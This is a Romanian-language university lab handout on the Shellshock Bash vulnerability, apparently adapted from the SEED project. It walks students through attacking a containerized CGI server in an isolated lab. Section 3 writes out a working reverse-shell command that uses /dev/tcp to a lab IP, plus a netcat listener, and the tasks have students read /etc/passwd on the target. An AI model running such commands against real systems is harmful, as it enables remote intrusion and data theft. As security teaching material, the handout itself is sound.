Atacul ShellShock

1 Scopul lucrării

În 24 septembrie 2014 a fost identificată o vulnerabilitate în Bash. Poreclită Shellshock, această vulnerabilitate poate exploata multe sisteme și poate fi lansată fie de la distanță, fie de pe mașina locală. În această lucrare de laborator trebuie să lucrați la acest atac, astfel încât să înțelegeți vulnerabilitatea Shellshock.

Obiectivul de învățare al acestui laborator este sa obțineți experiență nemijlocită cu acest atac interesant, să înțelegeți cum funcționează și să reflectați asupra lecțiilor învățate din acest atac. Prima versiune a acestui laborator a fost dezvoltată pe 29 septembrie 2014, la doar cinci zile după ce a fost raportat atacul. A fost repartizată studenților la ora noastră de Securitate Informatică din 30 septembrie 2014. O misiune importantă a proiectului SEED este să transforme repede atacurile reale în materiale educaționale, astfel încât instructorii să le poată aduce în sălile de clasă în timp util și să-și păstreze studenții implicați cu ceea ce se întâmplă în lumea reală.

Această lucrare acoperă următoarele subiecte:

- Atacul Shellshock
- Variabilele de mediu
- Definirea funcțiilor în Bash
- Serverul de web Apache și programele CGI

2 Desfășurarea lucrării

2.1 Setarea mediului

2.1.1 Configurarea containerului și comenzi.

Vă rugăm să descărcați fișierul `Labsetup.zip` pe VM-ul dvs. de pe Moodle, să-l dezarhivați, să intrați în directorul `Labsetup` și să utilizați fișierul `docker-compose.yml` pentru a configura mediul de laborator. Explicații detaliate ale conținutul acestui fișier și toate fișierele `Dockerfile` implicate pot fi găsite din legătura la **manualul de utilizare - SEED Manual for Containers**. Dacă este prima dată când configurați un mediu de laborator SEED folosind containere, este foarte important să citiți manualul de utilizare.

În cele ce urmează, enumerăm câteva dintre comenzile utilizate frecvent legate de `Docker` și `Compose`. Cum vom folosi aceste comenzi foarte frecvent, am creat aliasuri pentru ele în fișierul `.bashrc` (în SEEDUBuntu 20.04 VM furnizat de noi).

```
$ docker-compose build # Build the container image
$ docker-compose up # Start the container
$ docker-compose down # Shut down the container
// Aliases for the Compose commands above
$ dcbuild # Alias for: docker-compose build
```

```
$ dcup # Alias for: docker-compose up
$ dcdown # Alias for: docker-compose down
```

Toate containerele vor rula în fundal. Pentru a rula comenzi pe un container, avem adesea nevoie să obținem un shell pe respectivul container. Mai întâi trebuie să folosim comanda "`docker ps`" pentru a afla ID-ul containerului și apoi să folosim "`docker exec`" pentru a lansa un shell pe acel container. Am creat aliasuri pentru ele în fișierul `.bashrc`.

```
$ dockps // Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id>// Alias for: docker exec -it <id> /bin/bash

// The following example shows how to get a shell inside hostC
$ dockps
b1004832e275 hostA-10.9.0.5
0af4ea7a3e2e hostB-10.9.0.6
9652715c8e0a hostC-10.9.0.7
$ docksh 96
root@9652715c8e0a:/#
// Note: If a docker command requires a container ID, you do not need to
// type the entire ID string. Typing the first few characters will
// be sufficient, as long as they are unique among all the containers.
```

Dacă întâmpinați probleme la configurarea mediului de laborator, vă rugăm să citiți secțiunea "Common Problems" din manual pentru a afla posibile soluții.

2.1.2 Setarea DNS

În configurația noastră, adresa IP a containerului serverului web este `10.9.0.80`. Numele de gazdă al serverului este `www.seedlab-shellshock.com`. Trebuie să mapăm acest nume la adresa IP. Vă rugăm să adăugați următoarea intrare în `/etc/hosts`. Trebuie să utilizați privilegii de supervizor pentru a modifica acest fișier:

```
10.9.0.80 www.seedlab-shellshock.com
```

2.1.3 Serverul de Web și CGI

Vom lansa atacul Shellshock asupra containerului server de webla distanță. Multe servere de web au activat CGI, o metodă standard folosită pentru a genera conținut dinamic în paginile și aplicațiile Web. Multe programe CGI sunt scrise folosind scripturi shell. De aceea, înainte de execuția unui program CGI se invocă mai întâi un shell și o asemenea invocarea este provocată de un utilizator de pe un calculator aflat la distanță. Dacă programul shell este un program Bash vulnerabil la atacul Shellshock, atunci putem exploata programul pentru a obține privilegii pe server.

În containerul de server de web am setat deja un program CGI foarte simplu (numit `vul.cgi`) după cum se vede mai jos. Programul doar tipărește "`Hello World`" folosind un script shell. Programul CGI este pus în directorul implicit pentru CGI al Apache `/usr/lib/cgi-bin` și trebuie să fie executabil.

```
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo
echo "Hello World"
```

Programul CGI folosește `/bin/bash_shellshock` in prima linie a scriptului în loc de `/bin/bash`. Linia specifică ce program shell ar trebui invocat pentru a rula scriptul. E nevoie să executăm versiunea de Bash vulnerabilă în această lucrare.

Pentru a accesa acest program CGI de pe web, fie folosiți un browser și tastați următorul URL: `http://localhost/cgi-bin/vul.cgi`, fie folosiți programul `curl` din linia de comandă pentru a realiza același lucru. Asigurați-vă ca containerul cu serverul de web este în execuție

```
$ curl http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
```

2.2 Sarcini de efectuat

2.2.1 Sarcina 1: Experimente cu funcții Bash

Programul Bash din Ubuntu 20.04 a fost deja corectat, așa că nu mai este vulnerabil la atacul Shellshock. Pentru acest laborator am instalat o versiune de Bash vulnerabilă în container (în directorul `/bin`); numele său este `bash_shellshock`. Programul poate fi găsit și în directorul `Labsetup` (în `image_www`). Numele lui este `bash_shellshock`. Trebuie să folosim acest bash în sarcina noastră. Puteți rula acest program shell fie în container sau direct pe computer.

Vă rugăm să proiectați un experiment pentru a verifica dacă această lovitură este vulnerabilă sau nu la atacul Shellshock. Efectuați același experiment pe versiunea corectată /bin/-bash și raportați observațiile dvs. Încercați același experiment cu versiunea de bash corectată, (`/bin/bash`) și raportați observațiile.

2.2.2 Sarcina 2: Trimiterea de date spre Bash printr-o variabilă de mediu

Pentru a exploata vulnerabilitatea Shellshock într-un program CGI bazat pe Bash, atacatorii trebuie să trimită datele la programul Bash vulnerabil și acete date trebuie trimise printr-o variabilă de mediu. În cadrul acestei sarcini trebuie să vedem cum putem atinge acest scop. Puteți folosi următorul program CGI pentru a demonstra că puteți trimite programului CGI un șir arbitrar, iar șirul se va vedea în conținutul uneia dintre variabilele de mediu.

Listing 1: getenv.cgi

```
#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo " ****** Environment Variables ****** "
strings /proc/$$/environ          ①
```

Sarcina 2.A: Folosirea browserului. În codul de mai sus, linia ① tipărește conținutul tuturor variabilelor de mediu din procesul curent. În mod normal, veți vedea ceva de genul următor dacă utilizați un browser pentru a accesa programul CGI. Vă rugăm să identificați ce valori ale variabilelor de mediu sunt setate de browser. Puteți activa extensia HTTP Header Live pe browser pentru a captura cererea HTTP și să comparați cererea cu variabilele de mediu tipărite de server. Vă rugăm să includeți rezultatele investigației dvs. în raportul de laborator.

```
****** Environment Variables ******
HTTP_HOST=www.seedlab-shellshock.com
HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) ...
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9, ...
```

```
HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5
HTTP_ACCEPT_ENCODING=gzip, deflate
```

Sarcina 2.B: Utilizarea `curl`. Dacă dorim să setăm datele variabilei de mediu la valori arbitrare, va trebui să modificăm comportamentul browserului, iar asta va fi prea complicat. Din fericire, există o unealtă în linie de comandă numită `curl`, care permite utilizatorilor să controleze majoritatea câmpurilor dintr-o solicitare HTTP. Iată câteva dintre opțiunile utile: (1) câmpul `-v` poate tipări antetul cererii HTTP; (2) opțiunile `-A`, `-e` și `-H` pot seta unele câmpuri în cererea antet și trebuie să vă dați seama ce câmpuri sunt setate de fiecare dintre ele. Vă rugăm să includeți rezultatele dvs. în raportul de laborator. Iată câteva exemple de utilizare a acestor câmpuri:

```
$ curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -A "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -e "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -H "AAAAAA: BBBBBB" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
```

Pe baza acestui experiment, vă rugăm să descrieți ce opțiuni ale `curl` pot fi utilizate pentru a injecta date în variabilele de mediu ale programului CGI țintă.

2.2.3 Sarcina 3: Lansarea atacului Shellshock

Puteți acum lansa atacul Shellshock. Atacul nu depinde de ce este în programul CGI, fiindcă ține programul `bash`, care este invocat mai întâi, înainte de execuția scriptului CGI. Scopul Dvs. este să lansați atacul prin URL `http://www.seedlab-shellshock.com/cgi-bin/vul.cgi`, astfel încât să faceți ca serverul să execute o comandă arbitrară.

Dacă comanda dvs. are o ieșire în text și doriți să vi se returneze rezultatul, rezultatul dvs. trebuie să urmeze un protocol: ar trebui să înceapă cu `Content type: text/plain`, urmat de o linie goală și apoi puteți plasa rezultatul ca text simplu. De exemplu, dacă doriți ca serverul să returneze o listă de fișiere din directorul său, comanda va arăta astfel:

```
echo Content_type: text/plain; echo; /bin/ls -l
```

În această sarcină, vă rugăm să utilizați trei abordări diferite (adică, trei câmpuri diferite de antet HTTP) pentru a lansa Atacul Shellshock împotriva programului CGI țintă. Trebuie să atingeți următoarele obiective. Pentru fiecare obiectiv, trebuie să utilizați doar o abordare, dar în total, trebuie să utilizați trei abordări diferite.

- **Sarcina 3.A**: Faceți ca serverul să trimită înapoi conținutul fișierului `/etc/passwd`.
- **Sarcina 3.B**: Cereți serverului să vă spună ID-ul de utilizator al procesului său. Puteți utiliza comanda `/bin/id` pentru a imprima informația de ID.
- **Sarcina 3.C**: Faceți serverul să creeze un fișier în directorul /tmp. Trebuie să intrați în container pentru a vedea dacă fișierul este creat sau nu, sau folosiți un alt atac Shellshock pentru a lista directorul `/tmp`.
- **Sarcina 3.D**: Faceți ca serverul să șteargă fișierul pe care tocmai l-ați creat în directorul `/tmp`.

Întrebări.
Răspundeți la următoarele întrebări:

- **Întrebarea 1**: veți putea fura conținutul fișierului `/etc/shadow` de pe server? De ce da sau de ce nu? Informațiile obținute în Sarcina 3.B ar trebui să vă ofere un indiciu.
- **Întrebarea 2**: solicitările HTTP GET atașează de obicei date în adresa URL, după marca "?". Acest lucru ar putea fi o altă abordare pe care o putem folosi pentru a lansa atacul. În exemplul următor, atașăm câteva date în URL și am constatat că datele sunt folosite pentru a seta următoarea variabilă de mediu:

  ```
  $ curl "http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi?AAAAA"
  ...
  QUERY_STRING=AAAAA
  ```

  Putem folosi această metodă pentru a lansa atacul Shellshock? Vă rugăm să efectuați experimentul și să trageți concluzii bazate pe rezultatele experimentului dvs.

2.2.4 Sarcina 4: Obținerea unui shell conectat la atacator prin atacul Shellshock

Vulnerabilitatea Shellshock permite atacurilor să execute comenzi arbitrare pe mașina țintă. În atacurile reale, atacatorii nu vor hard-coda comanda în atac, ci, adesea, vor rula un procesor de comenzi, astfel încât să poată executa alte comenzi cât este activ shell. Pentru a-si îndeplini acest scop, atacatorii au nevoie să execute un shell cu intrare/ieșire de la distanță (engl. reverse shell). Un asemenea proces este lansat pe mașina aflată la distanță, iar intrarea și ieșirea sa sunt controlate de pe un calculator aflat la distanță.

Reverse shell rulează pe mașina țintă, dar ia intrarea de la atacator și trimite ieșirea la acesta. Reverse shell oferă atacatorilor o cale convenabilă pentru a rula programe pe mașina compromisă. Explicații referitoare la crearea unui reverse shell sunt date în secțiunea 3. În cadrul acestei sarcini trebuie să demonstrați cum se poate lansa un reverse shell folosind vulnerabilitatea Shellshock dintr-un program CGI. *În raport, explicați cum ați procedat ca să setați reverse și de ce funcționează în urma atacului Shellshock executat.*

2.2.5 Sarcina 5: Utilizarea Bash corectat

Să folosim acum un program Bash deja corectat. Programul `/bin/bash` este o versiune corectată. Înlocuiți prima linia din programul CGI cu `#!/bin/bash` și *reluați sarcinile 2.2.3 și 2.2.4 și descrieți ce ați observat*.

3 Ghid: Crearea unui shell conectat la atacator

Ideea de bază a unui reverse shell este redirectarea intrării standard, a ieșiri standard și a ieșirii standard pentru mesaje de eroare spre o conexiune de rețea, astfel încât procesorul de comenzi să-și ia intrarea din conexiune și să scrie ieșirea prin conexiune. La celălalt capăt al conexiunii se află un program rulat de către atacator. Programul afișează pur si simplu tot ce vine prin conexiune și trimite ce tastează atacatorul la procesorul de comenzi de pe mașina victimă, prin conexiunea de rețea.

Un program folosit uzual de către atacatori este `netcat`, care, dacă este lansat cu opțiunea "`-l`", devine un server de TCP care ascultă o conexiune pe portul specificat. Acest program ia tot ce tastează clientul și trimite clientului orice tastează utilizatorul care rulează `netcat`. În experimentul următor, `netcat` (prescurtat `nc`) este folosit pentru a asculta pe portul 9090.

```
Attacker(10.0.2.6):$ nc -l 9090 -v                    # Waiting for reverse shell
Listening on 0.0.0.0 9090
Connection received on 10.0.2.5 39452
Server(10.0.2.5):$                                    # Reverse shell from 10.0.2.5.
Server(10.0.2.5):$ ifconfig
ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
                inet 10.0.2.5 netmask 255.255.255.0 broadcast 10.0.2.255
...
```

Comanda `nc` va aștepta o conexiune. Putem acum rula direct următorul program bash pe mașina server (10.0.2.5) pentru a emula ce ar rula atacatorii după compromiterea serverului în urma atacului Shellshock. Această comandă bash va lansa o conexiune TCP spre portul 9090 al mașinii atacatorului si se va crea un reverse. Putem vedea promptul shell care indică faptul ca shell rulează pe mașina Server; putem acum tasta comanda `ifconfig` pentru a vedea ca adresa IP este într-adevăr 10.0.2.5, cea care aparține mașinii Server:

```
Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
```

Comanda anterioară este ce ar fi executat în mod normal pe un server compromis. O explicație de detaliu este:

- "`/bin/bash -i`": Opțiunea **i** înseamnă interactiv pentru shell (acesta trebuie să dea un prompt).
- "`> /dev/tcp/10.0.2.6/9090`": Aceasta face ca dispozitivul de ieșire (stdout) al shell să fie redirectat prin conexiunea TCP spre portul `9090` al mașinii cu IP `10.0.2.6`. În sistemele Unix, descriptorul de fișier al stdout este 1.
- "`0<&1`": Descriptorul de fișier 0 reprezintă dispozitivul de intrare standard (stdin). Această opțiune spune sistemului să folosească dispozitivul de ieșire standard ca dispozitiv de intrare standard. Cum `stdout` este deja redirectat spre conexiunea TCP, această opțiune indică shell să-și ia intrarea din aceeași conexiune TCP.
- "`2>&1`": Descriptorul de fișier 2 reprezintă dispozitivul de standard ieșire standard pentru erori, `stderr`. Aceasta face ca `stderr` să fie redirectat spre `stdout`, adică spre conexiunea TCP.

În rezumat, comanda "`/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1`" lansează un shell bash pe mașina server, cu intrarea din conexiunea TCP și ieșirea prin aceeași conexiune TCP. În experimentul nostru, atunci când se execută comanda din bash pe 10.0.2.5, se conectează înapoi la procesul `netcat` pornit pe `10.0.2.6`. Acest lucru este confirmat de mesajul "`Connection from 10.0.2.5 ...`" afișat de `netcat`.

4 Trimiterea rezultatelor

Trebuie să trimiteți un raport detaliat în care să descrieți ce ați făcut și ce ați observat; de asemenea trebuie să explicați observațiile surprinzătoare sau interesante. În cadrul raportului trebuie să răspundeți la toate întrebările puse în această lucrare de laborator. De asemenea, dați fragmentele importante de cod, urmate de explicații. Anexarea codului fără nicio explicație nu va primi credite.